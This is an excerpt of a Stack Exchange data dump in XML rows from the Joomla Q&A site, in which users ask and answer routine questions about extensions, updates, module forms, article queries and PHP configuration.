  <row Id="14739" PostTypeId="1" CreationDate="2015-12-21T18:10:10.527" Score="2" ViewCount="137" Body="&lt;p&gt;Am a beginner to joomla development ,id like to add extra fields to the article (&lt;code&gt;com_content&lt;/code&gt;)component. I have read this article &#xA;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&lt;/a&gt;&#xA;However it does not fully answer my question on when / how to add the extra fields to the table &lt;code&gt;_content&lt;/code&gt; table , and when to add the inserted data .Any help is greatly appreciated .&lt;/p&gt;&#xA;" OwnerUserId="7463" LastActivityDate="2016-01-06T11:25:39.437" Title="Joomla create content plugin to add fields to article (com_content)" Tags="|joomla-3.x|plugin|com-content|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14740" PostTypeId="1" AcceptedAnswerId="14786" CreationDate="2015-12-21T20:48:15.320" Score="-1" ViewCount="301" Body="&lt;p&gt;I am trying to select data from  'xxx_user' table, based on the usergroup the user is assigned to EG 'administrator'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way this could be done? And would it be possible to do it with a cron job?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $servername = &quot;localhost&quot;;&#xA;    $username = &quot;username&quot;;&#xA;    $password = &quot;password&quot;;&#xA;    $dbname = &quot;myDB&quot;;&#xA;&#xA;    // Create connection&#xA;    $conn = new mysqli($servername, $username, $password, $dbname);&#xA;    // Check connection&#xA;    if ($conn-&amp;gt;connect_error) {&#xA;    die(&quot;Connection failed: &quot; . $conn-&amp;gt;connect_error);&#xA;    } &#xA;&#xA;    $sql = &quot;SELECT id, name, username, password, emails, FROM $dbname&quot;;&#xA;    $result = $conn-&amp;gt;query($sql);&#xA;&#xA;    $conn-&amp;gt;close();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="126" LastEditDate="2015-12-26T07:19:27.397" LastActivityDate="2015-12-26T23:59:36.183" Title="Selecting data from SQL database" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14742" PostTypeId="1" AcceptedAnswerId="14743" CreationDate="2015-12-22T00:47:07.450" Score="4" ViewCount="1975" Body="&lt;p&gt;I've just updated from Joomla &lt;strong&gt;3.4.6&lt;/strong&gt; to &lt;strong&gt;3.4.7&lt;/strong&gt; and after doing so, I went to edit an article and received the following error message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You are not permitted to use that link to directly access that page (#6).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Does anyone know why this is occurring?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-13T22:45:32.987" Title="Can't edit article after Joomla 3.4.7 update" Tags="|joomla-3.x|articles|update|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14743" PostTypeId="2" ParentId="14742" CreationDate="2015-12-22T00:52:08.220" Score="7" Body="&lt;p&gt;The were session storage changes in the Joomla 3.4.7 update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the issue, you simply need to logout and log back in before you can make any article changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://docs.joomla.org/J3.x:Unable_To_Edit_Article_3.4.7&quot;&gt;https://docs.joomla.org/J3.x:Unable_To_Edit_Article_3.4.7&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-22T00:52:08.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14744" PostTypeId="2" ParentId="14687" CreationDate="2015-12-22T01:00:55.233" Score="-1" Body="&lt;p&gt;Had to go to Menu Manager in Joomla admin panel and press &quot;Rebuild&quot; button.&#xA;Probably Virtuemart did something to Joomla db...&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2015-12-22T01:00:55.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14745" PostTypeId="1" AcceptedAnswerId="14762" CreationDate="2015-12-22T03:15:11.960" Score="2" ViewCount="1665" Body="&lt;p&gt;I've got a site running Joomla 2.5.14 that I want to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, &lt;a href=&quot;https://docs.joomla.org/J2.5:Updating_Joomla_%28Update_Method%29&quot; rel=&quot;nofollow&quot;&gt;there should be an option&lt;/a&gt; called &quot;Joomla Update&quot; on the Components menu that I can use to update the site, but it's not there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://docs.joomla.org/Joomla_Update_Missing_in_from_Admin_Menu&quot; rel=&quot;nofollow&quot;&gt;another page indicating how to get it to appear&lt;/a&gt; when it's not there, but the SQL it suggests will not work because there doesn't exist a row in the menu table for the given filter &lt;code&gt;WHERE title = &quot;com_joomlaupdate&quot;&lt;/code&gt;. As an alternative, it suggests using the Discover function to install it as a component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I on the right track? What do I need to do to get Joomla Update to appear on the Components menu?&lt;/p&gt;&#xA;" OwnerUserId="7455" LastActivityDate="2016-05-04T03:02:23.810" Title="How to get the Joomla Update option to appear on the Components menu?" Tags="|joomla-2.5|component|update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14747" PostTypeId="1" CreationDate="2015-12-22T07:09:46.593" Score="4" ViewCount="260" Body="&lt;p&gt;Using the JMailer class, it possible to easily send out a mail using the Joomla API. One of the options I don't know too much about is the encoding part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;$mailer-&amp;gt;Encoding = 'base64';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the benefit of using this?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2016-01-21T11:25:15.843" Title="Is there any benefit to setting encoding of mail to base64?" Tags="|joomla-3.4|emails|jmail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14748" PostTypeId="1" CreationDate="2015-12-22T08:04:50.490" Score="1" ViewCount="72" Body="&lt;p&gt;Basically, my problem is as it says above. I don't know what happened but I've only got a WSOD now and I can't find the error. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To recap what I was did today:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I upgraded from 3.4.5 to 3.4.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I installed a new extension called &quot;Responsivizer&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point, I'm not sure when, I got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Incorrect key file for table '/mysql-tmp/#sql_231ee_1.MYI'; try to repair it SQL=SHOW FULL COLUMNS FROM `y2sk4_postinstall_messages`  An error has occurred.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I kept working on the website because it didn't seem to affect anything and I can still work on it. Then, I added new menu modules for the mobile menu to be placed on the Responsivizer menu positions. When I tried to reload the page, all I got was a white screen and nothing. I thought it was just me and my slow connection but it doesn't seem to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, help. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the website, by the way: &lt;a href=&quot;http://www.glenatgrandview.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.glenatgrandview.com/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7490" LastActivityDate="2016-04-20T12:05:45.460" Title="Something went wrong, now I've only got a WSOD" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14749" PostTypeId="1" CreationDate="2015-12-22T08:45:22.710" Score="1" ViewCount="585" Body="&lt;p&gt;As the title says, when one of sub menu items is active, parents of that item are not marked in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using latest default Joomla and stock menu module without any overrides and mods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember this was a feature in previous releases of Joomla but now it's gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a simple solution / override for this?&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2023-12-17T16:06:45.840" Title="Parent menu item not marked if sub menu item is active" Tags="|module|joomla-3.4|menu-item|menu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14750" PostTypeId="2" ParentId="14748" CreationDate="2015-12-22T09:31:50.803" Score="1" Body="&lt;p&gt;So, I rolled back everything and... I stopped at the point when I uninstalled Responsiviser because it was then that the frontend was restored.&lt;/p&gt;&#xA;" OwnerUserId="7490" LastActivityDate="2015-12-22T09:31:50.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14751" PostTypeId="2" ParentId="14747" CreationDate="2015-12-22T10:11:09.950" Score="2" Body="&lt;p&gt;This encoding is designed to make binary data survive transport through transport layers that are not 8-bit clean, such as mail bodies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base64-encoded data takes about 33% more space than the original data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $str = 'This is an encoded string';&#xA;  echo base64_encode($str);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://php.net/manual/en/function.base64-encode.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.base64-encode.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-22T10:11:09.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14752" PostTypeId="1" AcceptedAnswerId="14794" CreationDate="2015-12-22T13:08:46.620" Score="1" ViewCount="362" Body="&lt;p&gt;I created a module position at my template where I load a custom module which is a menu bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with the next script I change its position to &lt;code&gt;fixed&lt;/code&gt; if someone scrolls more than &lt;code&gt;200px&lt;/code&gt; so that the bar will always be on top.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(window).scroll(function(e){ &#xA;  var jQueryel = jQuery('.fixedElement'); &#xA;  var isPositionFixed = (jQueryel.css('position') == 'fixed');&#xA;  if (jQuery(this).scrollTop() &amp;gt; 200 &amp;amp;&amp;amp; !isPositionFixed){ &#xA;    jQuery('.fixedElement').css({'position': 'fixed', 'top': '0px'}); &#xA;    jQuery('.fixedElement').addClass(&quot;bgNormal&quot;);&#xA;&#xA;  }&#xA;  if (jQuery(this).scrollTop() &amp;lt; 200 &amp;amp;&amp;amp; isPositionFixed)&#xA;  {&#xA;    jQuery('.fixedElement').css({'position': 'absolute', 'top': '0px'}); &#xA;    jQuery('.fixedElement').removeClass(&quot;bgNormal&quot;);&#xA;  } &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added this script inside the head of template. It runs smoothly in every page except of the &lt;code&gt;views&lt;/code&gt; of a custom &lt;code&gt;component&lt;/code&gt; I made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Console doesn't output any error and inspecting the source code I can find that the script is loaded correctly.&#xA;For some reason it just wont run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jQuery&lt;/code&gt; is correctly loaded and I cant think of anything that would affect the view to run the js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded another &lt;code&gt;component&lt;/code&gt; and I found that it wouldn't run the script either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a common issue ? Do I have to do something in order to load scripts from template to view ? Or it's a development problem ?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="126" LastEditDate="2015-12-26T07:12:36.590" LastActivityDate="2015-12-28T08:14:49.297" Title="JS loaded from template won't run inside custom component" Tags="|joomla-3.x|component|development|jquery|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14755" PostTypeId="1" AcceptedAnswerId="14779" CreationDate="2015-12-22T15:44:14.347" Score="3" ViewCount="31" Body="&lt;p&gt;I need to purge huge amount of data from J but maintain settings / modules etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to write cli tool to clean up tables using correct models, but it is taking too much time. Is there a simple way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would reinstall J and import settings but is this even possible?&lt;/p&gt;&#xA;" OwnerDisplayName="user6981" LastEditorUserId="126" LastEditDate="2015-12-26T07:11:26.670" LastActivityDate="2015-12-26T07:11:26.670" Title="Is there a way to purge all content and maintain settings?" Tags="|mysql|database|maintenance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14758" PostTypeId="2" ParentId="9729" CreationDate="2015-12-23T05:32:46.627" Score="-4" Body="&lt;p&gt;SHOW AUTHOR META TAG UNDER GLOBAL CONFIG, ARTICLES..   NO SHOW, removes all that.. YW&lt;/p&gt;&#xA;" OwnerUserId="7499" LastActivityDate="2015-12-23T05:32:46.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14760" PostTypeId="1" CreationDate="2015-12-23T12:47:34.297" Score="2" ViewCount="34" Body="&lt;p&gt;I would like to create a little dialog on publishing-events on an item of my self-developed component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: Item gets &lt;code&gt;published&lt;/code&gt; - the item's controller is called and rund method &lt;code&gt;publish&lt;/code&gt; with &lt;code&gt;$task&lt;/code&gt; &lt;code&gt;publish&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I would like to interrupt publishing-process: The user shall answer a question - for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure? &lt;code&gt;Yes (publish)&lt;/code&gt; or &lt;code&gt;No (exit)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the source of my controller so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * publish function.&#xA; * &#xA; * @access public&#xA; * @return void&#xA; */&#xA;public function publish()&#xA;{&#xA;    $app                                    =   JFactory::getApplication();&#xA;    $jinput                                 =   JFactory::getApplication()-&amp;gt;input;&#xA;    $ids                                    =   $jinput-&amp;gt;get('cid', '', 'array');&#xA;    $task                                   =   $this-&amp;gt;getTask();&#xA;    $date                                   =   JFactory::getDate();            &#xA;    $modelitem                              =   $this-&amp;gt;getModel('Item');        &#xA;&#xA;    foreach($ids as $id)&#xA;    {           &#xA;        switch($task)&#xA;        {&#xA;            case 'publish'  :                   // do stuff&#xA;                                                break;&#xA;            case 'unpublish':                   // do stuff&#xA;                                                break;&#xA;            case 'archive'  :                   // do stuff     &#xA;                                                break;&#xA;            case 'trash'    :                   // do stuff                                                 &#xA;                                                break;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    $publish                                =   $modelitem-&amp;gt;publish($id, $state);&#xA;&#xA;    $this-&amp;gt;setRedirect('index.php?option=com_bestia&amp;amp;view=items', false);&#xA;&#xA;    return true;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-12-24T14:28:28.587" Title="Create Dialog on publishing methods" Tags="|development|joomla-3.4|custom-component|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14762" PostTypeId="2" ParentId="14745" CreationDate="2015-12-23T13:39:59.187" Score="3" Body="&lt;p&gt;Are you trying to update to 2.5.28 (the last J2.5 release)? If so then download &lt;a href=&quot;https://mirror.myjoomla.io/Joomla_2.5.x_to_2.5.28-Stable-Patch_Package.zip&quot; rel=&quot;nofollow&quot;&gt;https://mirror.myjoomla.io/Joomla_2.5.x_to_2.5.28-Stable-Patch_Package.zip&lt;/a&gt; and install it into your site just like an extension.&#xA;Always remember to back up and test your backup first though.&#xA;Once updated you should really then update to J3.4.7 as 2.5.x is end of life.&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2015-12-23T13:39:59.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14763" PostTypeId="1" AcceptedAnswerId="14764" CreationDate="2015-12-23T15:57:03.823" Score="2" ViewCount="1473" Body="&lt;p&gt;Am creating a simple custom search , where users will search using a droplist of option , i have successfully created the module , however i do not know how to show the form in frontend and how to pass values to my helper file for validation , please help ! Below is my code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;model(helper.php)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getdata($catid)&#xA;    {&#xA;          //$catid1=17;&#xA;           $res=array();&#xA;           $categories = JCategories::getInstance('Content');&#xA;           $cat = $categories-&amp;gt;get($catid);&#xA;           $children = $cat-&amp;gt;getChildren();&#xA;           $res['FieldofStudy']=$children;&#xA;&#xA;        return $res;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;View (tmpl/default.php)&lt;/strong&gt;&#xA; Which is form that shows droplist to send back to controller &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;select id=&quot;Field-of-Study&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                &amp;lt;?php foreach($res['FieldofStudy'] as $a){  ?&amp;gt;&#xA;                &amp;lt;option&amp;gt;&#xA;                &amp;lt;?php  echo $a-&amp;gt;title ;  ?&amp;gt;&#xA;                &amp;lt;/option&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;              &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7463" LastEditorUserId="7463" LastEditDate="2015-12-23T16:10:26.033" LastActivityDate="2019-02-12T11:22:50.627" Title="Create form in frontend in a module" Tags="|joomla-3.x|module|form|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14764" PostTypeId="2" ParentId="14763" CreationDate="2015-12-23T16:23:56.163" Score="2" Body="&lt;p&gt;Personally, I would do it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say you have a few form fields (for example, 2 inputs and a select box):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; name=&quot;shout&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input name=&quot;myform[name]&quot; type=&quot;text&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input name=&quot;myform[surname]&quot; type=&quot;text&quot;&amp;gt;&#xA;&#xA;    &amp;lt;select name=&quot;myform[study]&quot; id=&quot;Field-of-Study&quot; class=&quot;form-control&quot;&amp;gt;&#xA;        &amp;lt;?php foreach($res['FieldofStudy'] as $a) : ?&amp;gt;&#xA;            &amp;lt;option&amp;gt;&amp;lt;?php echo $a-&amp;gt;title; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice I've used &lt;code&gt;myform&lt;/code&gt; in the &lt;code&gt;name=&quot;&quot;&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in your &lt;strong&gt;mod_mymodule.php&lt;/strong&gt; file, you can check if the post if set and get the entire post array from your form like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST))&#xA;{&#xA;    $post = $app-&amp;gt;input-&amp;gt;post-&amp;gt;get('myform', array(), 'array');&#xA;&#xA;    // You can now access each field value using&#xA;    // $post['name']&#xA;    // $post['surname']&#xA;    // $post['study']&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To put the post into a function in the &lt;strong&gt;helper.php&lt;/strong&gt;, you first need to call the helper like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$helper = new ModMYMODULEHelper();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call the function from the helper&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$helper-&amp;gt;myfunction($post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-02-12T11:22:50.627" LastActivityDate="2019-02-12T11:22:50.627" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="14765" PostTypeId="1" AcceptedAnswerId="14939" CreationDate="2015-12-23T16:53:52.427" Score="1" ViewCount="429" Body="&lt;p&gt;This seems like it should be an easy question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing a Joomla plugin which needs to loop through all subgroups of a specified user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find a Joomla API call to make that will load all the subgroups of a group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an API call that can do this, or will I need to write my own? It seems like the sort of thing that ought to exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2016-01-11T15:59:25.270" Title="Getting list of subgroups from a user group" Tags="|groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14767" PostTypeId="1" CreationDate="2015-12-23T17:43:28.170" Score="1" ViewCount="2114" Body="&lt;p&gt;I'd like to get articles of a certain attribute, how do I achieve it.&lt;br&gt;&#xA;Below is a code I get to get an article of an id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.model');&#xA;JModel::addIncludePath(JPATH_SITE . '/components/com_content/models');&#xA;$Model = JModel::getInstance('Article', 'ContentModel');&#xA;$articleId = '1'; //We used here '1' article id&#xA;$article = $Model-&amp;gt;getItem($articleId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7463" LastEditorUserId="3650" LastEditDate="2016-03-08T00:39:38.547" LastActivityDate="2016-06-06T18:09:14.097" Title="Jmodel get articles of an attribute" Tags="|joomla-3.x|com-content|jmodel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14768" PostTypeId="2" ParentId="372" CreationDate="2015-12-24T02:40:54.930" Score="0" Body="&lt;p&gt;I use XAMPP for Joomla, all I did was to change the &lt;code&gt;max_execution_time=30&lt;/code&gt; to &lt;code&gt;max_execution_time=3000&lt;/code&gt;; it worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Procedure:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;C:\xampp\php&lt;/code&gt; and open the &lt;code&gt;php.ini&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;ctr+f&lt;/kbd&gt; and type &lt;code&gt;max_execution_time&lt;/code&gt;, this will locate the syntax line&lt;/li&gt;&#xA;&lt;li&gt;Change the value from &lt;code&gt;=30&lt;/code&gt; to &lt;code&gt;=300&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save &lt;code&gt;php.ini&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You must restart apache/xampp, and then try the Joomla installation again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will work.&#xA;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="7507" LastEditorUserId="1629" LastEditDate="2015-12-24T06:37:10.587" LastActivityDate="2015-12-24T06:37:10.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14771" PostTypeId="2" ParentId="14767" CreationDate="2015-12-24T14:15:41.250" Score="3" Body="&lt;p&gt;In the most generic way, you can write a query to load the articles in a list. Or, you can work with the article model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check how it works in a content module or in content component:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_articles_latest&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;modules/mod_articles_latest/helper.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Get an instance of the generic articles model&#xA;    $model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;    // Set application parameters in model&#xA;    $app       = JFactory::getApplication();&#xA;    $appParams = $app-&amp;gt;getParams();&#xA;    $model-&amp;gt;setState('params', $appParams);&#xA;&#xA;    // Set the filters based on the module params&#xA;    $model-&amp;gt;setState('list.start', 0);&#xA;    $model-&amp;gt;setState('list.limit', (int) $params-&amp;gt;get('count', 5));&#xA;    $model-&amp;gt;setState('filter.published', 1);&#xA;&#xA;    // Access filter&#xA;    $access     = !JComponentHelper::getParams('com_content')-&amp;gt;get('show_noauth');&#xA;    $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()-&amp;gt;get('id'));&#xA;    $model-&amp;gt;setState('filter.access', $access);&#xA;&#xA;    // Category filter&#xA;    $model-&amp;gt;setState('filter.category_id', $params-&amp;gt;get('catid', array()));&#xA;&#xA;    // User filter&#xA;    $userId = JFactory::getUser()-&amp;gt;get('id');&#xA;&#xA;    switch ($params-&amp;gt;get('user_id'))&#xA;    {&#xA;        case 'by_me' :&#xA;            $model-&amp;gt;setState('filter.author_id', (int) $userId);&#xA;            break;&#xA;        case 'not_me' :&#xA;            $model-&amp;gt;setState('filter.author_id', $userId);&#xA;            $model-&amp;gt;setState('filter.author_id.include', false);&#xA;            break;&#xA;&#xA;        case '0' :&#xA;            break;&#xA;&#xA;        default:&#xA;            $model-&amp;gt;setState('filter.author_id', (int) $params-&amp;gt;get('user_id'));&#xA;            break;&#xA;    }&#xA;&#xA;    // Filter by language&#xA;    $model-&amp;gt;setState('filter.language', $app-&amp;gt;getLanguageFilter());&#xA;&#xA;    //  Featured switch&#xA;    switch ($params-&amp;gt;get('show_featured'))&#xA;    {&#xA;        case '1' :&#xA;            $model-&amp;gt;setState('filter.featured', 'only');&#xA;            break;&#xA;        case '0' :&#xA;            $model-&amp;gt;setState('filter.featured', 'hide');&#xA;            break;&#xA;        default :&#xA;            $model-&amp;gt;setState('filter.featured', 'show');&#xA;            break;&#xA;    }&#xA;&#xA;    // Set ordering&#xA;    $order_map = array(&#xA;        'm_dsc' =&amp;gt; 'a.modified DESC, a.created',&#xA;        'mc_dsc' =&amp;gt; 'CASE WHEN (a.modified = ' . $db-&amp;gt;quote($db-&amp;gt;getNullDate()) . ') THEN a.created ELSE a.modified END',&#xA;        'c_dsc' =&amp;gt; 'a.created',&#xA;        'p_dsc' =&amp;gt; 'a.publish_up',&#xA;        'random' =&amp;gt; 'RAND()',&#xA;    );&#xA;    $ordering = JArrayHelper::getValue($order_map, $params-&amp;gt;get('ordering'), 'a.publish_up');&#xA;    $dir      = 'DESC';&#xA;&#xA;    $model-&amp;gt;setState('list.ordering', $ordering);&#xA;    $model-&amp;gt;setState('list.direction', $dir);&#xA;&#xA;    $items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-24T14:15:41.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14772" PostTypeId="2" ParentId="14765" CreationDate="2015-12-24T14:21:27.107" Score="1" Body="&lt;p&gt;Groups are stored in a nested structure, implementing a &lt;a href=&quot;http://www.sitepoint.com/hierarchical-data-database-2/&quot; rel=&quot;nofollow&quot;&gt;Modified Preorder Tree Traversal&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be brief, you can write a query to retrieve all childs under a parent, within a range &lt;em&gt;n &gt; parent-lft and n &amp;lt; parent-rgt&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-24T14:21:27.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
